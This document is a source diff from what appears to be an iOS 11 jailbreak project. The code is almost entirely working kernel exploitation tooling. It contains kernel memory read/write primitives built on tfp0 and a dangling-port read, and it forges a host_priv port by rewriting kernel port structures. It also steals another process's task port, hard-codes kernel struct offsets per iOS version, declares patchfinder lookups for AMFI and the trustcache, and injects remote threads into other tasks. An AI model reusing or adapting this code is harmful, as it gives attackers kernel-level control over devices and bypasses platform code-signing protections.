size_t kread(uint64_t where, void *p, size_t size) {
int rv;
size_t offset = 0;
while (offset < size) {
@@ -47,12 +41,12 @@ size_t kread(uint64_t where, void* p, size_t size)
chunk = size - offset;
}
rv = mach_vm_read_overwrite(tfp0,
where + offset,
chunk,
(mach_vm_address_t)p + offset,
&sz);
where + offset,
chunk,
(mach_vm_address_t)p + offset,
&sz);
if (rv || sz == 0) {
LOG("error reading kernel @%p", (void*)(offset + where));
LOG("error reading kernel @%p\n", (void *)(offset + where));
break;
}
offset += sz;
@@ -60,8 +54,7 @@ size_t kread(uint64_t where, void* p, size_t size)
return offset;
}
size_t kwrite(uint64_t where, const void* p, size_t size)
{
size_t kwrite(uint64_t where, const void *p, size_t size) {
int rv;
size_t offset = 0;
while (offset < size) {
@@ -70,11 +63,11 @@ size_t kwrite(uint64_t where, const void* p, size_t size)
chunk = size - offset;
}
rv = mach_vm_write(tfp0,
where + offset,
(mach_vm_offset_t)p + offset,
(mach_msg_type_number_t)chunk);
where + offset,
(mach_vm_offset_t)p + offset,
(mach_msg_type_number_t)chunk);
if (rv) {
LOG("error writing kernel @%p", (void*)(offset + where));
LOG("error writing kernel @%p\n", (void *)(offset + where));
break;
}
offset += chunk;
@@ -82,59 +75,55 @@ size_t kwrite(uint64_t where, const void* p, size_t size)
return offset;
}
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length)
{
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length) {
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
LOG("attempt to write to kernel memory before any kernel memory write primitives available\n");
sleep(3);
return false;
}
return (kwrite(kaddr, buffer, length) == length);
}
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length)
{
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length) {
return (kread(kaddr, buffer, length) == length);
}
void WriteKernel32(uint64_t kaddr, uint32_t val)
{
void WriteKernel32(uint64_t kaddr, uint32_t val) {
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
LOG("attempt to write to kernel memory before any kernel memory write primitives available\n");
sleep(3);
return;
}
wkbuffer(kaddr, &val, sizeof(val));
}
void WriteKernel64(uint64_t kaddr, uint64_t val)
{
void WriteKernel64(uint64_t kaddr, uint64_t val) {
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
LOG("attempt to write to kernel memory before any kernel memory write primitives available\n");
sleep(3);
return;
}
wkbuffer(kaddr, &val, sizeof(val));
}
uint32_t rk32_via_kmem_read_port(uint64_t kaddr)
{
uint32_t rk32_via_kmem_read_port(uint64_t kaddr) {
kern_return_t err;
if (kmem_read_port == MACH_PORT_NULL) {
LOG("kmem_read_port not set, have you called prepare_rk?");
LOG("kmem_read_port not set, have you called prepare_rk?\n");
sleep(10);
exit(EXIT_FAILURE);
}
mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;
err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
if (err != KERN_SUCCESS) {
LOG("error setting context off of dangling port: %x %s", err, mach_error_string(err));
LOG("error setting context off of dangling port: %x %s\n", err, mach_error_string(err));
sleep(10);
exit(EXIT_FAILURE);
}
// now do the read:
uint32_t val = 0;
err = pid_for_task(kmem_read_port, (int*)&val);
@@ -143,162 +132,152 @@ uint32_t rk32_via_kmem_read_port(uint64_t kaddr)
sleep(10);
exit(EXIT_FAILURE);
}
return val;
}
uint32_t rk32_via_tfp0(uint64_t kaddr)
{
uint32_t rk32_via_tfp0(uint64_t kaddr) {
uint32_t val = 0;
rkbuffer(kaddr, &val, sizeof(val));
return val;
}
uint64_t rk64_via_kmem_read_port(uint64_t kaddr)
{
uint64_t rk64_via_kmem_read_port(uint64_t kaddr) {
uint64_t lower = rk32_via_kmem_read_port(kaddr);
uint64_t higher = rk32_via_kmem_read_port(kaddr + 4);
uint64_t full = ((higher << 32) | lower);
uint64_t higher = rk32_via_kmem_read_port(kaddr+4);
uint64_t full = ((higher<<32) | lower);
return full;
}
uint64_t rk64_via_tfp0(uint64_t kaddr)
{
uint64_t rk64_via_tfp0(uint64_t kaddr) {
uint64_t val = 0;
rkbuffer(kaddr, &val, sizeof(val));
return val;
}
uint32_t ReadKernel32(uint64_t kaddr)
{
uint32_t ReadKernel32(uint64_t kaddr) {
if (tfp0 != MACH_PORT_NULL) {
return rk32_via_tfp0(kaddr);
}
if (kmem_read_port != MACH_PORT_NULL) {
return rk32_via_kmem_read_port(kaddr);
}
LOG("attempt to read kernel memory but no kernel memory read primitives available");
LOG("attempt to read kernel memory but no kernel memory read primitives available\n");
sleep(3);
return 0;
}
uint64_t ReadKernel64(uint64_t kaddr)
{
uint64_t ReadKernel64(uint64_t kaddr) {
if (tfp0 != MACH_PORT_NULL) {
return rk64_via_tfp0(kaddr);
}
if (kmem_read_port != MACH_PORT_NULL) {
return rk64_via_kmem_read_port(kaddr);
}
LOG("attempt to read kernel memory but no kernel memory read primitives available");
LOG("attempt to read kernel memory but no kernel memory read primitives available\n");
sleep(3);
return 0;
}
const uint64_t kernel_address_space_base = 0xffff000000000000;
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length)
{
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length) {
if (dest >= kernel_address_space_base) {
// copy to kernel:
wkbuffer(dest, (void*)src, length);
wkbuffer(dest, (void*) src, length);
} else {
// copy from kernel
rkbuffer(src, (void*)dest, length);
}
}
uint64_t kmem_alloc(uint64_t size)
{
uint64_t kmem_alloc(uint64_t size) {
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
LOG("attempt to allocate kernel memory before any kernel memory write primitives available\n");
sleep(3);
return 0;
}
kern_return_t err;
mach_vm_address_t addr = 0;
mach_vm_size_t ksize = round_page_kernel(size);
err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
if (err != KERN_SUCCESS) {
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
LOG("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
sleep(3);
return 0;
}
return addr;
}
uint64_t kmem_alloc_wired(uint64_t size)
{
uint64_t kmem_alloc_wired(uint64_t size) {
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
LOG("attempt to allocate kernel memory before any kernel memory write primitives available\n");
sleep(3);
return 0;
}
kern_return_t err;
mach_vm_address_t addr = 0;
mach_vm_size_t ksize = round_page_kernel(size);
LOG("vm_kernel_page_size: %lx", vm_kernel_page_size);
err = mach_vm_allocate(tfp0, &addr, ksize + 0x4000, VM_FLAGS_ANYWHERE);
LOG("vm_kernel_page_size: %lx\n", vm_kernel_page_size);
err = mach_vm_allocate(tfp0, &addr, ksize+0x4000, VM_FLAGS_ANYWHERE);
if (err != KERN_SUCCESS) {
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
LOG("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
sleep(3);
return 0;
}
LOG("allocated address: %llx", addr);
LOG("allocated address: %llx\n", addr);
addr += 0x3fff;
addr &= ~0x3fffull;
LOG("address to wire: %llx", addr);
err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ | VM_PROT_WRITE);
LOG("address to wire: %llx\n", addr);
err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ|VM_PROT_WRITE);
if (err != KERN_SUCCESS) {
LOG("unable to wire kernel memory via tfp0: %s %x", mach_error_string(err), err);
LOG("unable to wire kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
sleep(3);
return 0;
}
return addr;
}
void kmem_free(uint64_t kaddr, uint64_t size)
{
void kmem_free(uint64_t kaddr, uint64_t size) {
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to deallocate kernel memory before any kernel memory write primitives available");
LOG("attempt to deallocate kernel memory before any kernel memory write primitives available\n");
sleep(3);
return;
}
kern_return_t err;
mach_vm_size_t ksize = round_page_kernel(size);
err = mach_vm_deallocate(tfp0, kaddr, ksize);
if (err != KERN_SUCCESS) {
LOG("unable to deallocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
LOG("unable to deallocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
sleep(3);
return;
}
}
void kmem_protect(uint64_t kaddr, uint32_t size, int prot)
{
void kmem_protect(uint64_t kaddr, uint32_t size, int prot) {
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to change protection of kernel memory before any kernel memory write primitives available");
LOG("attempt to change protection of kernel memory before any kernel memory write primitives available\n");
sleep(3);
return;
}
kern_return_t err;
err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
if (err != KERN_SUCCESS) {
LOG("unable to change protection of kernel memory via tfp0: %s %x", mach_error_string(err), err);
LOG("unable to change protection of kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
sleep(3);
return;
}
+80
View File
@@ -0,0 +1,80 @@
#ifndef kmem_h
#define kmem_h
#include <stdbool.h>
#include <mach/mach.h>
/***** mach_vm.h *****/
kern_return_t mach_vm_read(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
vm_offset_t *data,
mach_msg_type_number_t *dataCnt);
kern_return_t mach_vm_write(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt);
kern_return_t mach_vm_read_overwrite(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
mach_vm_address_t data,
mach_vm_size_t *outsize);
kern_return_t mach_vm_allocate(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags);
kern_return_t mach_vm_deallocate (
vm_map_t target,
mach_vm_address_t address,
mach_vm_size_t size);
kern_return_t mach_vm_protect (
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
boolean_t set_maximum,
vm_prot_t new_protection);
extern mach_port_t tfp0;
size_t kread(uint64_t where, void *p, size_t size);
size_t kwrite(uint64_t where, const void *p, size_t size);
#define rk32(kaddr) ReadKernel32(kaddr)
#define rk64(kaddr) ReadKernel64(kaddr)
uint32_t ReadKernel32(uint64_t kaddr);
uint64_t ReadKernel64(uint64_t kaddr);
#define wk32(kaddr, val) WriteKernel32(kaddr, val)
#define wk64(kaddr, val) WriteKernel64(kaddr, val)
void WriteKernel32(uint64_t kaddr, uint32_t val);
void WriteKernel64(uint64_t kaddr, uint64_t val);
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length);
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length);
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);
void kmem_protect(uint64_t kaddr, uint32_t size, int prot);
uint64_t kmem_alloc(uint64_t size);
uint64_t kmem_alloc_wired(uint64_t size);
void kmem_free(uint64_t kaddr, uint64_t size);
void prepare_rk_via_kmem_read_port(mach_port_t port);
void prepare_rwk_via_tfp0(mach_port_t port);
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0);
// query whether kmem read or write is present
int have_kmem_read(void);
int have_kmem_write(void);
#endif
+139
View File
@@ -0,0 +1,139 @@
#include <stdio.h>
#include <stdlib.h>
#include <CoreFoundation/CoreFoundation.h>
#include <mach/mach.h>
#include <QiLin.h>
#include <iokit.h>
#include <common.h>
#include "kutils.h"
#include "kmem.h"
#include "offsets.h"
#include "find_port.h"
uint64_t the_realhost;
uint64_t cached_task_self_addr = 0;
uint64_t task_self_addr() {
if (cached_task_self_addr == 0) {
cached_task_self_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? getAddressOfPort(getpid(), mach_task_self()) : find_port_address(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
LOG("task self: 0x%llx\n", cached_task_self_addr);
}
return cached_task_self_addr;
}
uint64_t ipc_space_kernel() {
return ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
}
uint64_t current_thread() {
uint64_t thread_port = (kCFCoreFoundationVersionNumber >= 1450.14) ? getAddressOfPort(getpid(), mach_thread_self()) : find_port_address(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND);
return ReadKernel64(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
}
uint64_t find_kernel_base() {
uint64_t hostport_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? getAddressOfPort(getpid(), mach_host_self()) : find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
the_realhost = realhost;
uint64_t base = realhost & ~0xfffULL;
// walk down to find the magic:
for (int i = 0; i < 0x10000; i++) {
if (ReadKernel32(base) == MACH_HEADER_MAGIC) {
return base;
}
base -= 0x1000;
}
return 0;
}
mach_port_t fake_host_priv_port = MACH_PORT_NULL;
// build a fake host priv port
mach_port_t fake_host_priv() {
if (fake_host_priv_port != MACH_PORT_NULL) {
return fake_host_priv_port;
}
// get the address of realhost:
uint64_t hostport_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? getAddressOfPort(getpid(), mach_host_self()) : find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
// allocate a port
mach_port_t port = MACH_PORT_NULL;
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (err != KERN_SUCCESS) {
LOG("failed to allocate port\n");
return MACH_PORT_NULL;
}
// get a send right
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
// locate the port
uint64_t port_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? getAddressOfPort(getpid(), port) : find_port_address(port, MACH_MSG_TYPE_COPY_SEND);
// change the type of the port
#define IKOT_HOST_PRIV 4
#define IO_ACTIVE 0x80000000
WriteKernel32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_HOST_PRIV);
// change the space of the port
WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
// set the kobject
WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost);
fake_host_priv_port = port;
return port;
}
uint64_t get_proc_ipc_table(uint64_t proc) {
uint64_t task_t = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_TASK));
LOG("task_t: 0x%llx\n", task_t);
uint64_t itk_space = ReadKernel64(task_t + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
LOG("itk_space: 0x%llx\n", itk_space);
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
LOG("is_table: 0x%llx\n", is_table);
return is_table;
}
/* give ourselves a send right to this proc's task port */
mach_port_t proc_to_task_port(uint64_t proc, uint64_t our_proc) {
// allocate a new raw mach port:
mach_port_t p = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
uint64_t ports = get_proc_ipc_table(proc);
// get the task port:
uint64_t task_port = ReadKernel64(ports + 0x18); // first port's ie_object
// leak some refs:
WriteKernel32(task_port+4, 0x383838);
uint64_t task_t = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_TASK));
// leak some refs
WriteKernel32(task_t + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT), 0x393939);
// get the address of the ipc_port of our newly allocate port
uint64_t ipc_table = get_proc_ipc_table(our_proc);
// point the port's ie_object to amfid's task port:
WriteKernel64(ipc_table + ((p >> 8) * 0x18), task_port);
// remove our receive right:
uint32_t ie_bits = ReadKernel32(ipc_table + ((p >> 8) * 0x18) + 8);
ie_bits &= ~(1<<17); // clear MACH_PORT_TYPE(MACH_PORT_RIGHT_RECEIVE)
WriteKernel32(ipc_table + ((p >> 8) * 0x18) + 8, ie_bits);
return p;
}
int message_size_for_kalloc_size(int kalloc_size) {
return ((3*kalloc_size)/4) - 0x74;
}
+19
View File
@@ -0,0 +1,19 @@
#ifndef kutils_h
#define kutils_h
#include <mach/mach.h>
uint64_t task_self_addr(void);
uint64_t ipc_space_kernel(void);
uint64_t find_kernel_base(void);
uint64_t current_thread(void);
mach_port_t fake_host_priv(void);
uint64_t get_proc_ipc_table(uint64_t proc);
mach_port_t proc_to_task_port(uint64_t proc, uint64_t our_proc);
int message_size_for_kalloc_size(int kalloc_size);
#endif /* kutils_h */
+3 -1
View File
@@ -9,10 +9,12 @@
#include <dlfcn.h>
#import <UIKit/UIKit.h>
#import "AppDelegate.h"
#include "SettingsTableViewController.h"
int main(int argc, char * argv[]) {
signal(SIGPIPE, SIG_IGN);
@autoreleasepool {
START_LOGGING();
return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
}
}
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -1,6 +1,6 @@
#ifndef multi_path_sploit_h
#define multi_path_sploit_h
bool mptcp_go(void);
void mptcp_go(void);
#endif
+71
View File
@@ -0,0 +1,71 @@
#ifndef offsets_h
#define offsets_h
enum kstruct_offset {
/* struct task */
KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
KSTRUCT_OFFSET_TASK_REF_COUNT,
KSTRUCT_OFFSET_TASK_ACTIVE,
KSTRUCT_OFFSET_TASK_VM_MAP,
KSTRUCT_OFFSET_TASK_NEXT,
KSTRUCT_OFFSET_TASK_PREV,
KSTRUCT_OFFSET_TASK_ITK_SPACE,
KSTRUCT_OFFSET_TASK_BSD_INFO,
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR,
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE,
/* struct ipc_port */
KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
/* struct proc */
KSTRUCT_OFFSET_PROC_PID,
KSTRUCT_OFFSET_PROC_P_FD,
KSTRUCT_OFFSET_PROC_TASK,
/* struct filedesc */
KSTRUCT_OFFSET_FILEDESC_FD_OFILES,
/* struct fileproc */
KSTRUCT_OFFSET_FILEPROC_F_FGLOB,
/* struct fileglob */
KSTRUCT_OFFSET_FILEGLOB_FG_DATA,
/* struct socket */
KSTRUCT_OFFSET_SOCKET_SO_PCB,
/* struct pipe */
KSTRUCT_OFFSET_PIPE_BUFFER,
/* struct ipc_space */
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE,
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE,
/* struct vnode */
KSTRUCT_OFFSET_VNODE_V_MOUNT,
KSTRUCT_OFFSET_VNODE_VU_SPECINFO,
/* struct specinfo */
KSTRUCT_OFFSET_SPECINFO_SI_FLAGS,
/* struct mount */
KSTRUCT_OFFSET_MOUNT_MNT_FLAG,
/* struct host */
KSTRUCT_OFFSET_HOST_SPECIAL,
KFREE_ADDR_OFFSET,
};
int koffset(enum kstruct_offset offset);
void offsets_init(void);
#endif
+136
View File
@@ -0,0 +1,136 @@
#import <Foundation/Foundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/sysctl.h>
#include <sys/utsname.h>
#include "offsets.h"
#include <common.h>
int* offsets = NULL;
int kstruct_offsets_11_0[] = {
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
0x30, // KSTRUCT_OFFSET_TASK_PREV,
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
0x10, // KSTRUCT_OFFSET_PROC_PID,
0x108, // KSTRUCT_OFFSET_PROC_P_FD
0x18, // KSTRUCT_OFFSET_PROC_TASK
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
0x6c, // KFREE_ADDR_OFFSET
};
int kstruct_offsets_11_3[] = {
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
0x30, // KSTRUCT_OFFSET_TASK_PREV,
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
0x10, // KSTRUCT_OFFSET_PROC_PID,
0x108, // KSTRUCT_OFFSET_PROC_P_FD
0x18, // KSTRUCT_OFFSET_PROC_TASK
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
0x7c, // KFREE_ADDR_OFFSET
};
int koffset(enum kstruct_offset offset) {
if (offsets == NULL) {
LOG("need to call offsets_init() prior to querying offsets\n");
return 0;
}
return offsets[offset];
}
void offsets_init() {
if (kCFCoreFoundationVersionNumber >= 1452.23) {
LOG("offsets selected for iOS 11.3 or above\n");
offsets = kstruct_offsets_11_3;
} else if (kCFCoreFoundationVersionNumber >= 1443.00) {
LOG("offsets selected for iOS 11.0 to 11.2.6\n");
offsets = kstruct_offsets_11_0;
} else {
LOG("iOS version too low, 11.0 required\n");
exit(EXIT_FAILURE);
}
}
File diff suppressed because it is too large Load Diff
+60
View File
@@ -0,0 +1,60 @@
#ifndef PATCHFINDER64_H_
#define PATCHFINDER64_H_
int init_kernel(uint64_t base, const char *filename);
void term_kernel(void);
enum { SearchInCore, SearchInPrelink };
uint64_t find_register_value(uint64_t where, int reg);
uint64_t find_reference(uint64_t to, int n, int prelink);
uint64_t find_strref(const char *string, int n, int prelink);
uint64_t find_gPhysBase(void);
uint64_t find_kernel_pmap(void);
uint64_t find_amfiret(void);
uint64_t find_ret_0(void);
uint64_t find_amfi_memcmpstub(void);
uint64_t find_sbops(void);
uint64_t find_lwvm_mapio_patch(void);
uint64_t find_lwvm_mapio_newj(void);
uint64_t find_entry(void);
const unsigned char *find_mh(void);
uint64_t find_cpacr_write(void);
uint64_t find_str(const char *string);
uint64_t find_amfiops(void);
uint64_t find_sysbootnonce(void);
uint64_t find_trustcache(void);
uint64_t find_amficache(void);
uint64_t find_allproc(void);
uint64_t find_add_x0_x0_0x40_ret(void);
uint64_t find_copyout(void);
uint64_t find_bzero(void);
uint64_t find_bcopy(void);
uint64_t find_rootvnode(void);
uint64_t find_realhost(void);
uint64_t find_zone_map_ref(void);
uint64_t find_OSBoolean_True(void);
uint64_t find_OSBoolean_False(void);
uint64_t find_osunserializexml(void);
uint64_t find_smalloc(void);
uint64_t find_vfs_context_current(void);
uint64_t find_vnode_lookup(void);
uint64_t find_vnode_put(void);
uint64_t find_vnode_getfromfd(void);
uint64_t find_vnode_getattr(void);
uint64_t find_SHA1Init(void);
uint64_t find_SHA1Update(void);
uint64_t find_SHA1Final(void);
uint64_t find_csblob_entitlements_dictionary_set(void);
uint64_t find_kernel_task(void);
uint64_t find_kernproc(void);
uint64_t find_vnode_recycle(void);
uint64_t find_lck_mtx_lock(void);
uint64_t find_lck_mtx_unlock(void);
uint64_t find_strlen(void);
uint64_t find_shenanigans(void);
#endif
+258 -247
View File
@@ -1,14 +1,14 @@
#include <fcntl.h>
#include <pthread.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdarg.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/task.h>
#include <mach/mach_error.h>
#include <mach/mach_traps.h>
#include <mach/task.h>
extern uint64_t
find_blr_x19_gadget(void);
@@ -24,269 +24,278 @@ find_blr_x19_gadget(void);
// not in iOS SDK headers:
extern void
_pthread_set_self(
pthread_t p);
pthread_t p);
uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...)
{
if (n_params > MAX_REMOTE_ARGS || n_params < 0) {
LOG("unsupported number of arguments to remote function (%d)", n_params);
return 0;
if (n_params > MAX_REMOTE_ARGS || n_params < 0){
LOG("unsupported number of arguments to remote function (%d)\n", n_params);
return 0;
}
kern_return_t err;
uint64_t remote_stack_base = 0;
uint64_t remote_stack_size = 4*1024*1024;
remote_stack_base = remote_alloc(task_port, remote_stack_size);
uint64_t remote_stack_middle = remote_stack_base + (remote_stack_size/2);
// create a new thread in the target
// just using the mach thread API doesn't initialize the pthread thread-local-storage
// which means that stuff which relies on that will crash
// we can sort-of make that work by calling _pthread_set_self(NULL) in the target process
// which will give the newly created thread the same TLS region as the main thread
_STRUCT_ARM_THREAD_STATE64 thread_state = {0};
mach_msg_type_number_t thread_stateCnt = sizeof(thread_state)/4;
// we'll start the thread running and call _pthread_set_self first:
thread_state.__sp = remote_stack_middle;
thread_state.__pc = (uint64_t)_pthread_set_self;
// set these up to put us into a predictable state we can monitor for:
uint64_t loop_lr = find_blr_x19_gadget();
thread_state.__x[19] = loop_lr;
thread_state.__lr = loop_lr;
// set the argument to NULL:
thread_state.__x[0] = 0;
mach_port_t thread_port = MACH_PORT_NULL;
err = thread_create_running(task_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt, &thread_port);
if (err != KERN_SUCCESS){
LOG("error creating thread in child: %s\n", mach_error_string(err));
return 0;
}
LOG("new thread running in child: %x\n", thread_port);
// wait for it to hit the loop:
while(1){
// monitor the thread until we see it's in the infinite loop indicating it's done:
err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt);
if (err != KERN_SUCCESS){
LOG("error getting thread state: %s\n", mach_error_string(err));
return 0;
}
kern_return_t err;
uint64_t remote_stack_base = 0;
